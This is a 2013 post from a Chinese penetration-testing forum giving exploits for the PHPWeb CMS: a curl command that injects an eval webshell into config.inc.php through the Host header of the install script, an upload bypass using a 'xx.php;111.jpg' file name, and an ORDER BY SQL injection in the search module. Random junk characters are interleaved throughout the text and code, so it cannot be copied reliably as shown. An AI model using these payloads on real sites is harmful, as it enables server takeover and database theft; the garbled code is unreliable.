中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
6 h  J6 J& t  K+ U) B' u) @
! D+ i3 H. f- b* W# |% E之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码. m2 I) k3 @$ A' L$ A

% C0 e, l$ `7 R8 b" ^鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件# ~7 w1 z* e% K
鸡肋2: 有一定安全常识的站长都会删掉 install 目录- H( M$ U8 m5 E+ Z: w! @
' r# k1 M3 ]& \
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
( ]" r1 ~; y( L/ ~) @3 M6 x6 L7 F
) p, P; @  X( F9 j分析:0 B( r9 x7 [, l- f

) D* [& x. F  {# H. f) p6 X
7 d0 m; n" _; w$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& B4 j- d1 X) Z/ I+ I & J" g0 q0 D3 K
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);, W% |" n. v' i
                                            $filestr=str_replace(" ","",$filestr);
+ P8 h3 ?( P( ~# b& c7 N! R                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: \& P( d: J7 o& K
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
3 Z# ~7 y" h' f- m' E                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- M0 V* G6 |4 |  a% l$ S                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 `& e: \8 D: ^+ L4 l: A                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
  N6 s- C/ J. W- V0 A6 p                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
6 o! r8 l. |" c3 Z                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- B" G4 ~( M7 f1 b6 O& o ) \  A) I' ^" R9 _
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);; E% ^; I* h% f/ i6 ^
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 N+ X+ r+ b( U" U- c* H
$ Z9 N' y* A! K( C" s  s8 l- gpoc:- h8 I; [' c' C) z1 o3 H( L! U( A

8 W* Z( S# |8 i$ h5 Z?
0 |  C9 M0 H2 H! Y1/ C9 Z# b. V: T! F0 T% H5 z8 D+ L
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ X6 l" C  y1 }$ ~
shell地址: /config.inc.php0 A/ e: ^- e  g, U; Y0 C9 N
跟之前的 phpcms一样 需要远程数据库
( ~5 m( S, J4 s- p) ^- l: g+ [
3 ~& c  @6 K0 l: \% n9 r! W——————————————————–
5 j1 g; V9 ?* L7 T# I+ I4 z上传漏洞(需要进后台):
  I- p5 f7 M5 X. a* B, R3 Z漏洞文件: /kedit/upload_cgi/upload.php& W  A" [. Y7 x& @
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用7 b( k, Z* o1 ]3 l& ~

" S0 i, }! `0 w, H3 O, W5 p5 { $ ]  e3 j& }" m  @
<?php
' n8 D7 W. M8 k    define("ROOTPATH", "../../");' S9 l( J$ j: W
    include(ROOTPATH."includes/admin.inc.php");
% [' A7 c/ c2 C& h3 S    NeedAuth(0);4 p1 C" y* t1 v+ r% B+ w

2 r: c& W1 s) `0 e+ x8 _( r3 T7 _    $dt=date("Ymd",time());
+ P7 J. f$ Q7 z4 L: }7 D    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 h. L# r$ z- g$ g, o            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' L0 g* i# `3 F& p- t+ I/ R    }
; F1 Z3 i: e! K$ Y$ {3 O5 R5 j3 \* y
& H5 n4 m/ L4 N    //文件保存目录路径
0 a* ~  t8 ?8 j! z9 j# G    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 J, K% d3 L  @# |. D    echo $save_path;
' S" ^* C2 x- R5 U    //文件保存目录URL
- Y5 c2 q/ d2 ^. X  C. W    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
$ {9 x  {8 [( {, ^! C   u, @4 h* f/ f  |7 L4 x0 o- X, t
    //定义允许上传的文件扩展名
# X) r4 I! `; G+ h    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
4 v8 d( E( X4 f
# I/ F# R) V, X6 }    //最大文件大小* j2 t1 A% m9 A5 I: D' F  U
    $max_size = 1000000;7 ^/ k& Y2 n; X" L
% S4 x) g7 q. \( u! ~5 c. N; B
    //更改目录权限
4 V, T/ q3 ^9 d# B9 Y) J8 X    @mkdir($save_path, 0777);
' D( Y) M9 N/ |
. A0 Y  f) d. P    //文件的全部路径
, b' A' k2 ^7 s, S; d1 ^) t! n    $file_path = $save_path.$_POST['fileName'];   //保存文件名9 B! i; ^# [& B: z

/ i* f5 h6 ?8 U+ L% e$ B" z2 B& f/ r8 N    //文件URL" }, L. a; Y/ w5 ?' C% H
    $file_url = $save_url.$_POST['fileName'];
* c2 z! [% \4 X% z. \! _//有上传文件时
6 H- `! v) L6 h6 j  h, O/ V    if (empty($_FILES) === false) {
! Q; {2 H' y. [3 F . t% U& ^6 b! x0 {
            //原文件名' o, O7 n" p* i( R$ k" R
            $file_name = $_FILES['fileData']['name'];  A  h. v2 d; |+ s/ t. o
            //服务器上临时文件名
, n0 O/ C  x8 |) ?2 T7 S            $tmp_name = $_FILES['fileData']['tmp_name'];/ }! {2 \% W+ P3 q) T
            //文件大小
5 D6 R5 m2 P3 O( a4 E. a1 ~            $file_size = $_FILES['fileData']['size'];
' r8 h* ~$ E& }4 `. L" |# w            //检查目录0 @% K: L$ _+ v6 u5 f/ N
            if (@is_dir($save_path) === false) {
7 f8 m% A3 K0 A/ `9 Q                    alert("上传目录不存在。");/ K, b2 w" g( p) \9 T
            }. X- C0 M0 A8 h$ o6 b; r! Z
            //检查目录写权限
! D0 t3 }  E$ j) n/ A+ j            if (@is_writable($save_path) === false) {/ a, a8 T2 x! k3 C
                    alert("上传目录没有写权限。");
% e  o: K7 e# J! L6 q& U: ?            }( e) @; f) ^  K. d% U9 W
            //检查是否已上传5 b3 t( ^% f  A6 A+ ^( P9 o
            if (@is_uploaded_file($tmp_name) === false) {
# O  z2 Y, g% A, X. k, N; l) ]' b5 P                    alert("临时文件可能不是上传文件。");% H( E. x' Y( c0 T
            }
( |/ H+ e  ^+ A/ T. \& x            //检查文件大小" o; d  ^: o6 N4 b  ?, d
            if ($file_size > $max_size) {
8 R( `  D; N8 T( O                    alert("上传文件大小超过限制。");
2 B9 c' x1 o0 s$ U4 [            }4 c% v8 M6 [/ W
            //获得文件扩展名
3 g$ y* Z, L1 X            $temp_arr = explode(".", $_POST['fileName']);
% R6 D) q2 G7 [: W  {            $file_ext = array_pop($temp_arr);
7 c' j; {: \1 {% D5 D6 w8 T+ [            $file_ext = trim($file_ext);
3 [8 Y) f6 w8 K+ Y            $file_ext = strtolower($file_ext);
# L3 |2 Q/ W% U/ K* D
% f( n0 j  K# s' M            //检查扩展名   
" B8 Y, \8 o% v) V9 h            if (in_array($file_ext, $ext_arr) === false) {     
- T; r7 Q1 b- l8 r                    alert("上传文件扩展名是不允许的扩展名。");
  n8 G: h! |, K+ R7 o2 G            }# R/ z8 I3 U9 {* H' Z2 U
% ~0 `+ O  J4 v/ c) `5 R$ L. h7 Y
            //移动文件   
9 O% B8 m- ?& _% u9 d4 u$ D& d            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^  i+ [& ^1 d! R: [
            if (move_uploaded_file($tmp_name, $file_path) === false) {
$ l5 @, x* D& m! Z: v                    alert("上传文件失败。");
! G) R6 o6 g. t2 Y            }
4 h* T! L& V6 d0 k1 J2 T
0 z6 e2 R; h8 t6 N            @chmod($file_path,0666);6 x, x: [- F: _: p& W
1 G8 S2 [' o* K( f/ ?5 I
    ?>
  t' }' ~9 Z, z7 W抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
3 X! Y6 ?9 l# {, n" i7 b 5 E* u  M7 R% y3 l. Y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
& y0 b+ p0 F4 c  j6 |2 p   X; S  k) U: `6 [: J  ~
——————————————————, c7 i8 t# |) j$ G( M
注入漏洞:) r& c4 ?5 P7 f& ]1 K- r) M/ m# R
漏洞文件:search/module/search.php
% V  ?3 W' c  y; Q, |( T/search/index.php?key=1&myord=1 [sqlinjection]3 y$ y; e5 C0 u$ l
$ J: F+ K+ d7 P9 w- W
) W+ Y2 _3 R3 `9 Q4 t
<?php
" `6 c! b4 B/ O" _- \; p6 g   //       ... 省略 n 行...8 J- @/ j& z/ |# {( h2 C
   //第18行:
- H6 ~  O5 Q8 O" E8 Z1 a1 X$ z           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响  f0 |/ F* X5 ^5 O( t" |; {
           $page=htmlspecialchars($_GET["page"]);
# \$ d/ n( F* p8 w. ]: T4 N1 }           $myord=htmlspecialchars($_GET["myord"]);: b1 e6 @9 j4 J; n( E) a! p2 d
: c5 E/ u4 m) u+ K# w% D0 b; @
   //       ... 省略 n 行...
0 x* r  l3 X: J+ X4 w0 H) a1 g3 l; Z6 i   $key,$myord 两个参数带入查询9 _( N% m1 s$ [& ^7 l1 j! G5 Z
   //第47行 $key:4 j( N/ O9 Y; F4 i8 ^0 w% m0 k5 a: H
. {; P, Z) Y, E4 y* {
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..8 u7 X5 S! ~1 F/ Q% R
# ~7 N1 w; g, O4 O, n& c
   //第197行 $myord8 i* h. K! B) e0 b. b  h% l
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
' v/ J8 g# m0 H& D0 L" U; z' d  N0 L
2 D' O# w. N& }, l   ?>% `5 I: a; [' X# w8 N





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2